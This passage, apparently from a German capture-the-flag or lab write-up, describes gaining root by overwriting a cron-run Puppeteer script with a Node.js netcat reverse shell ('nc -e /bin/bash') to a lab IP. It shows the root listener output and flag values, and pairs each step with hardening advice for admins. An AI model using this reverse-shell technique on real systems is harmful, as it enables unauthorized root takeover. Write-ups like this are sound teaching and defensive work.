**Empfehlung (Pentester):** Prüfen, mit welchen Rechten wir auf `read_comment.js` zugreifen können (`ls -l`). Wenn wir Schreibrechte haben, eine Sicherungskopie erstellen und das Skript mit einem eigenen Payload (z.B. Reverse Shell) überschreiben. Einen Listener starten und warten, bis der automatisierte Prozess das Skript ausführt. **Empfehlung (Admin):** Automatisierte Aufgaben mit dem Prinzip der geringsten Rechte ausführen. `--no-sandbox` nur verwenden, wenn absolut unvermeidlich und die Umgebung sicher ist. Dateiberechtigungen für Skripte und Konfigurationen härten. Code-Reviews durchführen.
Wir haben Schreibrechte auf das Skript und ersetzen seinen Inhalt durch einen Reverse-Shell-Payload.
listening on [any] 2345 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.114] 42170 id uid=0(root) gid=0(root) groups=0(root)
**Analyse:** Wir erstellen zuerst eine Sicherungskopie des Originalskripts. Dann überschreiben wir `read_comment.js` mit einem einfachen Node.js-Befehl, der `child_process.exec` verwendet, um eine Netcat-Reverse-Shell (`nc -e /bin/bash`) zu unserer IP (`192.168.2.199`) auf Port `2345` zu starten. Wir starten einen Listener auf diesem Port. Kurz darauf (vermutlich beim nächsten Ausführungsintervall des Cronjobs/Timers) erhalten wir eine Verbindung. Der `id`-Befehl bestätigt, dass die Shell als `root` läuft.
**Bewertung:** Privilege Escalation zu `root` erfolgreich! Die Manipulation des automatisiert ausgeführten Puppeteer-Skripts war der Schlüssel.
**Empfehlung (Pentester):** Root-Rechte bestätigt. Flags suchen und auslesen. Das Originalskript (`read_comment.js.bak`) wiederherstellen, um das System nicht unnötig zu stören (optional, je nach Engagement-Regeln). **Empfehlung (Admin):** **Schwachstelle dringend beheben!** Berechtigungen für das Skript und das Verzeichnis korrigieren. Den automatisierten Task überprüfen und mit minimalen Rechten ausführen lassen.
Als Root lesen wir die Flags.
r00t.txt
31b80e67e233ed342639f36b10ecb64d
dentist
user.txt
ef2f3bab2950c28547e17d32f864f172
**Analyse:** In der Root-Shell finden wir die Root-Flag in `/root/r00t.txt` und die User-Flag im Home-Verzeichnis des Benutzers `dentist` (`/home/dentist/user.txt`).
**Bewertung:** Beide Flags erfolgreich ausgelesen.
**Empfehlung (Pentester):** Bericht abschließen. **Empfehlung (Admin):** Alle identifizierten Schwachstellen (Werkzeug Debugger Exposure, mangelnde XSS-Prävention, unsichere Session-Cookies, SSI Injection, unsichere Konfiguration/Berechtigungen des Puppeteer-Skripts) beheben.